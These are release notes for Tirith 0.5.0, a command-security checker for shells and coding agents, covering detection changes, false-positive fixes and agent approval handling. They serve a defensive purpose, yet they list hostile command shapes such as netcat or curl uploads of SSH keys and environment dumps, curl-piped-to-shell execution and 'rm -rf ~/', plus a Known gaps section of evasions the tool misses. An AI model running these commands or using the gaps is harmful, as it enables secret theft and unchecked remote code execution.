Tirith 0.5.0 release notes
Tirith 0.5.0 is a minor release. It makes Tirith safer to run under coding
agents, removes most of the ordinary-command false positives reported against
0.4.2 (Known gaps lists those that remain), and adds reviewed, undoable ways
to choose and roll out protection. It removes tirith-core library API, so it
is 0.5.0 rather than a 0.4.x patch.
The 0.4.0 release notes
describe the 0.4 line's feature set and platform boundaries. The
CHANGELOG lists
every change in detail.
Read this before upgrading
- Refresh agent integrations. Installed agent adapters are files that
tirith setupwrote; upgrading the binary does not rewrite them. Adapters
installed by 0.4.x do not enforce the new approval requirement described
below. After upgrading, re-run setup with--forcefor every agent host you
use, at the scope you installed it with, for example
tirith setup claude-code --scope user --force. Project scope is the default
for most hosts, so repeat this from each project directory where you ran
setup. Without--force, setup stops with "exists but content differs".
--forceleaves.tirith-backup-v2-*recovery copies and empty
.tirith-setup-v2-*.tmpfiles next to the files it rewrites (inside the
project's.claude/for Claude Code); add.tirith-*to that project's
.gitignore. tirith doctorsees user-scope adapters and the project you run it in.
Runtirith doctor(ortirith doctor --fix) from inside each project where
you ran project-scope setup; it finds the project's adapters from any
directory in the repository and marks outdated ones STALE with the exact
refresh command. From outside the project, such as your home directory, it
does not list that project's adapters.- Warnings no longer approve agent commands. After the refresh, a command
Tirith warns about goes through Claude Code's and VS Code's normal permission
prompt; 0.4.x answered such a warning withallow, which skips the prompt.
An unrecognizedTIRITH_HOOK_WARN_ACTIONvalue now denies warnings; the
valid values areallow,askanddeny. - Commands holding raw terminal control bytes block. A checked command
with an ESC sequence, or a carriage return that is not part of a CRLF line
ending, is nowansi_escapes/control_chars, as a paste is. Integrations
that put ANSI colour codes inside commands must strip them first. - zsh guard. If you installed the
~/.zshenvguard, re-run
tirith setup <host> --scope <scope> --force --install-zshenv;--force
alone andtirith doctor --fixleave the 0.4.x guard in place. tirith check --jsonanswers an honored bypass. ATIRITH=0bypass
that policy honors now prints the normal verdict (action: "allow",
bypass_honored: true,requires_approval: false, exit 0) instead of
nothing.tirith checkrejects unknown options before the command.
tirith check --json --bogus -- cmdexits 2 with clap's error and prints
nothing on stdout. 0.4.2 analyzed--bogusas the first word of the
command, so a caller passing a newer flag to an older Tirith got a verdict
for a different command. A command that starts with-goes after--.package_lookup_incompletereplacesanalysis_incompletefor package
lookups. A live OSV.dev or deps.dev lookup that could not finish is now its
own Medium warning. A policy that adjusts or allowlistsanalysis_incomplete
to handlepip installornpm installwarnings must name
package_lookup_incompleteinstead.- IaC auto-approve rules check every command on a line.
cd infra; terraform apply -auto-approveand
tofu init && tofu apply -auto-approvenow warn (iac_apply_auto_approve,
exit 2) where 0.4.2 checked only the first command. With
iac_require_plan_before_apply: true,cd infra; terraform applynow
blocks. tirith trust addneeds--rule RULEor--all-rulesand writes to the
newtrust-grants.json. Existingtrust.jsonentries keep working.
tirith trust migratemoves them intotrust-grants.json, which 0.4.x
ignores, so migrated entries stop applying if you downgrade.- Contained package installation is disabled.
tirith pkg install(which
0.4.x ran for pip on x86_64 Linux) andtirith pkg approvenow refuse on
every host and record nothing. Usetirith install --no-execto analyze an
install. tirith dashboard serveparses HTTP more strictly. Some unusual or
malformed requests that 0.4.2 answered now get 400, 405 or 431; the
CHANGELOG lists them.tirith-corelibrary users: the pip resolve, quarantine, firewall and
approval pipeline and several receipt writers are removed, and
AnalysisContext,Policyandoutput::JsonOutputgained fields. See
Removed and Changed in the CHANGELOG.
Agents
-
Approval cannot turn into a warning.
tirith checkJSON (schema 3 and 4)
always carries a booleanrequires_approval. Active approval rules,WarnAck
andstrict_warnacknowledgement set it, and every installed Python, shell
and TypeScript adapter (Claude Code, Cline, Copilot CLI, Cursor, Gemini CLI,
Grok Build, Kiro, OpenClaw, OpenHands, pi and Prime Agent, VS Code,
Windsurf) denies such a command instead of running it as an ordinary
warning. Hosts without an approval interface deny with guidance to run the
command in an interactive shell. -
Known verdicts are never fail-open. Adapters deny a block (even when its
output is lost), a required acknowledgement (exit 3) and a deferred block
(exit 4), also withTIRITH_FAIL_OPEN=1, which now covers only checker
errors. A warning thatTIRITH_HOOK_WARN_ACTIONgates (ask,denyor an
unrecognized value) stays denied when its output is damaged. The Cursor,
VS Code and Windsurf adapters no longer import Python modules from the
project directory. -
A warning is shown, not approved. Claude Code and VS Code receive the
warning as a message for the user and context for the model, with no
permission decision, so their own permission rules apply.
TIRITH_HOOK_WARN_ACTION=askasks the user on hosts that can (Claude Code,
VS Code, Copilot CLI, Cursor) and denies with guidance elsewhere. -
Malformed or oversized hook traffic is denied. The VS Code, Cursor,
Windsurf and OpenClaw adapters deny a shell call whose command is missing or
not a string; before, they skipped the check or checked the wrong text. The
Pi, Prime Agent, OMP and OpenClaw guards read checker responses up to 16 MiB
and deny anything larger, even withTIRITH_FAIL_OPEN=1. On Linux and
macOS, an adapter whose pinned Python has moved or been removed denies
instead of silently switching off, andtirith setupskips an untrusted
firstpython3onPATHfor the next trusted one. -
With
allow_bypass_env_noninteractive: true, the zsh non-interactive
guard allows an honoredTIRITH=0bypass again, as 0.4.2 did. -
Fewer agent false positives. These shapes, which 0.4.2 blocked or
warned on, now pass:ifandwhilebracket conditions over a substitution, and arithmetic
over$(date +%s),$(printf N),$(nproc),getconf,
sysctl -n hw.ncpuorwc -l < file(make -j$(( $(nproc) + 1 )))
(#260).- In POSIX shells, a command named through a variable
(BIN=/bin/echo; "$BIN" --help)
(#264). - Data pipelines into Python, in POSIX shells and fish:
python3 -c
programs that pass their input toprint, transform it as data
(json.dumps,.upper(),.readlines(),for l in sys.stdin) or print
a constant (#264), and
| python3 -m json.toolwith its own options, also for downloaded input
(curl -s URL | python3 -m json.tool). - Here-strings into text filters (
jq -r .name <<< "$OUT"),xargs -I{}
(git branch --merged | xargs -I{} git branch -d {}), and a{ …; }
group with a redirect or pipe
({ cargo build; cargo test; } 2>&1 | tee build.log). - Shell setup lines such as
eval "$(brew shellenv)",
eval "$(ssh-agent -s)"(also with its output sent to/dev/null, and
baressh-agent),eval "$(pyenv init -)"and
source <(kubectl completion zsh), unless the same command sets a variable
or runs afor,selectorcoprocloop, which can steer what the setup
command prints. - Function bodies, subshells and
{ …; }groups that hold a${…}
expansion (f() { echo "${v}"; },gco() { git checkout "${1:-main}"; },
( cd "${dir}" && make )). - Agent batch scripts of a few thousand lines and large heredoc file
writes; past the analysis limits the command still blocks and the
message names the limit. - Requests to this machine:
curl -F 'env=@.env' http://localhost:3000/debug,
curl localhost:3000, andcurl -k https://localhost:8443/health(now a
Low finding), when no proxy, config file or redirect can send the request
elsewhere. Copying an SSH public key (scp ~/.ssh/id_ed25519.pub host:). - In fish, an escaped quote inside single quotes
(git commit -m 'it\'s done'), and in every shell wrapper spellings such
asnice -n5,timeout -k1 5,ionice -c3 cmd,flock FILE cmdand
macOS/usr/bin/time -l cmd. - Redirections after a package command (
npm install express 2>&1) are no
longer looked up as package names
(#270). - Literal
npm viewversion selectors. - Command words such as
"$HOME/scripts/x.sh". - Header expansions such as
-H "Authorization: Bearer $TOKEN". - The
.appand.devTLDs.
Plain LAN health checks (
curl http://192.168.1.20:8080/health) now warn
instead of blocking. -
Numeric hosts (#255,
still open). A curl finding for a bare number now names the number you
typed (8080) as well as the address it converts to (0.0.31.144). The
warning itself remains; see Known gaps.
New detections
- Uploading a project secret file (
.env,.envrc,credentials.json, SSH
private keys) to another machine with curl, wget, scp or rsync is
data_exfiltration. An upload to this machine (a literallocalhost,
127.x.y.zor[::1]address with no proxy, config-file override or
redirect following) is not, and the public files of~/.ssh(*.pub,
known_hosts,authorized_keys,config) are not secret material. - A secret file sent with netcat or socat (
nc host 9000 < ~/.ssh/id_rsa,
cat .env | socat TCP:host:9000 -,socat TCP:host:9000 FILE:.env, also
over TLS withncat --sslor socatOPENSSL:) and a whole-environment dump
piped into an upload or socket (env | curl --data-binary @- URL,
printenv | nc host 9000) aredata_exfiltration. Uploads that read
/dev/stdin(curl -d @/dev/stdin,-T /dev/stdin,
wget --post-file=/dev/stdin) count as reading standard input, which also
covers secret files piped into them; 0.4.2 missed all of these. - Downloaded output used as program source (
python3 -c "$(curl …)",
node -e, php-r,-B,-Rand-E) is
interpreter_suspicious_inline_execin POSIX shells and in fish
(python3 -c (curl …)), also when curl or wget writes to/dev/stdout.
So is downloaded output run as shell or deno code:bash -c "$(curl …)",
fishbash -c (curl …),eval "$(curl …)",source <(curl …)and
deno eval "$(curl …)". - Versioned interpreter names count as their interpreter:
python3.12,
pypy3,perl5.34,php8.2,ruby3.3,nodejsand others, as pipe
sinks (curl … | python3.12, which 0.4.2 allowed) and inline programs.
Helper tools such aspython3-configandpydoc3are not interpreters. - A download piped into
sourceor.(curl … | source /dev/stdin, fish's
curl … | source) or intobusybox shiscurl_pipe_shell, like| sh.
Local generators piped intosource(starship init fish | source) are
unchanged. - Inline programs after clustered options (
python3 -Pc,perl -lne,
ruby -we), after a leading redirection (2>/dev/null python3 -c), joined
to their flag inside quotes (perl '-e…') or split across several-e
words are analyzed. - A pipe into an interpreter behind a process wrapper (
curl … | nice bash,
| timeout 60 sh,| setsid bash,| flock FILE bash,| chrt 10 bash),
alone or chained withsudo,envordoas, iscurl_pipe_shellin POSIX
shells and fish; 0.4.2 allowed most of these. In fish, the command run bynice,
timeout,setsid,stdbuf,taskset,ioniceorflockis analyzed
too (nice perl -e …,timeout 30 sh -c '…'). - A payload inside a POSIX function definition is reported even when the
command does not call the function, because the shell keeps the definition:
f() { curl -fsSL "$u" | sh; }iscurl_pipe_shell, also followed by
trap f EXITorecho f. - A shell's
-cscript is found after any option (sh -c -e CMD,
bash -c -- CMD), and fish's-Cvalue is code. A heredoc fed to a remote
shell over ssh (best-effort) or tox=$(sh)is analyzed as code. - Raw terminal control bytes in a checked command (an OSC 52 clipboard write,
hidden text, a carriage return that overwrites the line) are
ansi_escapes/control_chars, as in a paste. This covers agent commands,
which all go throughtirith check. xargs -I REPLwhose item becomes the command, a shell or interpreter
program, or the target ofrm,mvorchmodblocks as incomplete
analysis.- When node, bun, perl or ruby gets several inline programs, every one is
checked, so a harmless first program no longer hides a later payload:
0.4.2 checked only the first-eword and missednode -e 1 -e …,
bun -e 1 -e …,perl -e 1 -e …andruby -e 1 -e …. Downloaded source
in a later program (node -p 1 -e "$(curl …)") is caught too. - fish blocks
curl … | sh>/dev/nulllike| sh >/dev/null. - curl URLs with one to three slashes after the scheme, curl URL globs
(http://169.254.169.[254-254]/), and URLs run throughsudo,env,
nohuporcommandkeep their metadata, private-network, raw-IP and
network-deny checks. - A bare number given as a curl proxy (
curl -x 8080 …) is read as a numeric
host and warnsraw_ip_url. - A URL glued to a package name or config key (
npm install pkg@http://…,
pip install pkg@https://…,npm install --@scope:registry=http://…,
env npm_config_@scope:registry=http://… npm install @scope/pkg) gets the
checks the bare URL gets; these were allowed without findings (found while
reviewing #276).envtakes
anyNAME=VALUEoperand as an assignment, soenv x@y=1 rm -rf ~/is
analyzed asrm.
Shells
- fish runs multi-line commands and loops exactly once
(#273) and no longer leaks
umask 077 into the interactive shell
(#265). - Concurrent shells (multiplexer restore) get independent sessions and no
longer stay locked on an unresolved execution receipt
(#257). On a fresh install,
every shell that starts at the same moment now loads its hook; before, some
tirith initruns lost a race and left their shell unprotected. - Virtual filesystems such as KDE kio-fuse no longer force fail-closed with
a phantom repository policy
(#266). - Prompts on macOS. In zsh on macOS, a warning acknowledgement or approval
prompt (strict_warn,approval_rules,warn_ackoverrides, escalation
rules) failed the moment it appeared and blocked the command, because
macOS'spoll()does not support/dev/tty. Prompts now wait for your
answer (#283). 0.4.2 has
the same problem; default settings never prompt. TIRITH=0in zsh. When your policy allows the bypass, a bypassed
command no longer gets package-lookup warnings or a prompt on the zsh
receipt path, and sends no package names to the lookup services
(#284).- Bash, zsh and fish start one Tirith process per execution-receipt step
instead of up to three.tirith statusandtirith doctorreport whether the
current terminal's loaded hook is current or stale, and
tirith doctor --verify-shellproves blocking in the calling shell. - Commands hidden after a comment, quote or heredoc are now analyzed: Tirith
reads a#inside${...}or backticks, quotes inside a substitution, a
heredoc inside$(...)and a redirection joined to the command word the
way the shells do. - History expansion. In an interactive bash or zsh, a line that history
expansion would turn into a different command blocks as incomplete
analysis:!#(zsh runstrue sh; curl … | !#:1ascurl … | sh, which
0.4.2 allowed),^old^new, a reference that forms a command
(curl … | !!:1,eval !!), a zsh!"deletion that changes the quoting,
andprint -s,history -sorfc -R, which add history entries a later
re-run would execute unchecked. Plain re-runs (!!,sudo !!,!git,
!-2) and references used as arguments (cd !$,vim !$) still run.
Agent commands are not affected. - zsh without
interactivecomments. In zsh's default setup the text
after a word-start#runs (echo hi #; curl … | shruns
curl … | sh), but Tirith read it as a comment and allowed it. The hooks
now tell Tirith when the option is off, and Tirith then also checks the
line the way zsh reads it. Comments in shells with the option on (bash's
default, orsetopt interactivecomments) are unchanged. bash after
shopt -u interactive_commentsis covered the same way. -cscripts written with backslash escapes
(bash -c "git commit -m \"fix bug\"") are analyzed instead of blocking as
incomplete analysis (the proposal in
#279, reimplemented).
\! cmd,time ! cmdand fish's! cmdare analyzed ascmd.
Packaging
- Native packages no longer depend on or suggest sudo
(#249). - Android/Termux builds compile in CI and the installer refuses incompatible
Android installs; there is no Android release asset yet
(#261, based on
#262). - Both crates ship the AGPL license text and the NOTICE file with the
third-party data attributions.
Choosing and rolling out protection
- Versioned personal protection profiles (
tirith policy profile comfortable|balanced|strict) and typed settings (tirith policy setting),
each change previewed, saved as an operation and undoable byte for byte. tirith policy rolloutmeasures a profile against your own commands before
you activate it;tirith policy simulatecompares one command.tirith setup recommendedandtirith setup shell: one reviewed, undoable
plan for shell startup files, a profile and optionally the Claude Code hook.- Scoped, expiring trust grants (
trust-grants.json), withtrust expiry,
trust revokeandtrust migrate. - A private Docker registry is trusted with
tirith trust add <registry-host> --broad --rule docker_untrusted_registry
(#271). A
<registry-host>/*pattern is refused with that hint instead of being
stored as a literal that never matched. A/*grant that 0.4.x stored shows
asinvalid(wildcard_never_matches) intirith trust listand
tirith trust explain, which print the exact commands that replace it.
tirith trust migratelists such entries and leaves them in place, and
tirith policy validatewarns about the same shape in allowlist entries. tirith dashboard: an authenticated loopback dashboard for profiles,
history, exceptions, integrations, team policy and saved changes.- Optional self-hosted team policy (
tirith-policy-server,
tirith policy team) with enrollment, reviewed publication and an offline
grace period. tirith review(read-only project review),tirith pkg inspectand
tirith pkg diff(npm tarball inspection without extracting or running
anything), audit history tools, and ThreatDB freshness reporting (source
ages are not available yet; see Known gaps).
Security fixes
- x86_64 Linux containment restricts
cloneflags with the same table as
aarch64 and returnsENOSYSforclone3. - x86_64 Linux containment allows
pollandepoll_wait, which glibc uses
there forpoll()andepoll_wait(). Without them every Rust program,
including the coreutils of Ubuntu 25.10 and later, crashed inside the
capsule, sotirith runfailed most install scripts on those systems.
0.4.2 has the same gap. - The
python -cdata-pipeline exemption no longer applies when the input may
enable Python inspect mode. - rustls is updated to 0.23.46 (RUSTSEC-2026-0346 to RUSTSEC-2026-0349). The
rustls 0.23.36 that 0.4.2 shipped is affected by RUSTSEC-2026-0285, -0346,
-0348 and -0349. - rustls-webpki 0.103.16 and webpki-roots 1.0.11 no longer accept certificate
paths through the distrusted emSign intermediates (RUSTSEC-2026-0382,
RUSTSEC-2026-0381; 0.4.2 shipped affected versions). tokio is updated to
1.51.6 for RUSTSEC-2026-0386, an unsound API that Tirith does not use.
Known gaps
- Some agent command shapes still block as incomplete analysis, as in 0.4.2:
- a here-string fed to a program that may run it (
python3,awk,sed,
kubectl apply -f -); xargs -I{}whose item becomes code or the target ofrm,mvor
chmod, andxargs -I{}in fish;- arithmetic over other command output, and the assignment form
N=$(( $(nproc) * 2 )); - a Python pipe stage with a redirection (
| python3 -m json.tool 2>&1) or
interpreter options (python3 -I -c); - a shell setup line next to an assignment or any
for,selector
coprocloop (export PYENV_ROOT=…; eval "$(pyenv init -)",
for f in a b; do …; done; eval "$(ssh-agent -s)"); - a
{ …; }group right afterdo,timeor acasepattern
(time { make; }), a function called from inside another function's
body (f() { g() { …; }; g; }; f), and a}inside a comment in a
function body; - in fish,
alias ll 'ls -lah',command -sq rg; and rg fooand
eval (ssh-agent -c)(eval (ssh-agent -s)passes).
- a here-string fed to a program that may run it (
- Not followed, as in 0.4.2: a secret staged in one file and sent by input
redirection (cat .env > x; nc host 9000 < x),env > ffollowed by an
upload off, environment dumps throughsetorexport -p, andchrt
with a dynamic priority (curl … | chrt $P bash).curl … | deno fmt -
still reads ascurl_pipe_shell. - Bare numbers still read as hosts
(#255): a curl port operand
(curl -sv example.com 8080), git's--depth 1and wget's-t 3warn
raw_ip_url. - A heredoc fed to ssh is analyzed best-effort: when Tirith cannot read the
remote command (ssh host "$CMD" <<EOF) the heredoc stays data. A download
staged by one command and run by a later one
(curl -o f URL; python3 -c "$(cat f)") is not followed. curl variables
imported from the environment (--variable %NAME) or a file
(name@file) are read as unknown values. scp,rsyncandsshtolocalhostare treated as remote, and a secret
piped into an ssh remote command (cat ~/.ssh/id_ed25519 | ssh host 'cat > k')
is not detected, as in 0.4.2. A shell's attached--command=CMDoption is
not analyzed.- On Windows, the Gemini CLI and Kiro hook commands run the pinned Python
directly, so a moved or removed interpreter makes them fail open until
tirith setupis run again. - In an interactive bash or zsh, a re-run behind a wrapper (
time !!,
nohup !! &,(!!)) blocks as incomplete analysis, and a history
reference that copies words from an earlier, separately entered line
(!:2) is checked as typed. - In zsh and fish, if a package lookup that ran out of time at a warning
prompt finishes before the command runs (typically the first install of a
package on a slow connection), accepting the warning can end with
"execution receipt could not be committed … press Enter for a fresh check".
Press Enter once: Tirith checks the command again with the finished
lookups. Nothing runs unchecked. - Source ages in
tirith threat-db statusandhealthstay unavailable, and
tirith threat-db updateprints a "source evidence HTTP 404" notice, until
the v2 threat feed is enabled. The signed database still updates and
protects normally. - KDE kio-fuse (#266) is
handled from the report, not yet reproduced on that desktop. Android builds
compile in CI but have no release asset or device qualification
(#261). serde_yaml0.9 is deprecated and itsunsafe-libyamldependency is
flagged unmaintained (RUSTSEC-2024-0449, no vulnerability reported); it will
be replaced in a later release.
Upgrade
Use the package manager that owns your installation:
npm install -g tirith@0.5.0
cargo install tirith --version 0.5.0 --locked
brew update && brew upgrade tirithscoop update
scoop update tirith
choco upgrade tirith --version=0.5.0Standalone installations can use tirith update, which verifies the release
before replacing the executable. Signed platform archives, the installer,
Debian/RPM packages, and verification material are available from
GitHub Releases.
The release workflow also updates the project Homebrew tap, Scoop bucket, AUR
package, and versioned GHCR images. Homebrew core, Chocolatey community
moderation and distribution packages such as nixpkgs may update later; if your
package manager does not offer 0.5.0 yet, use the project tap or a signed
GitHub release artifact.
After updating, open a new terminal (not exec $SHELL, which keeps the old
shell's receipt registration and runs in legacy mode, #281), then run:
tirith --version
tirith doctor # marks outdated adapters STALE
tirith setup <host> --scope <scope> --force # each STALE one (or tirith doctor --fix)
tirith threat-db updateRun tirith doctor and the setup command it prints from your home directory
for user-scope adapters, and again from inside each project where you ran
project-scope setup. Restart each agent host after refreshing its adapter.
The Hermes Agent plugin (sheeki03/hermes-plugin-tirith)
requires this release and refuses older Tirith versions.
Thanks to everyone who reported problems and supplied reproductions, and to
the contributors whose proposals shaped the Android and npm fixes.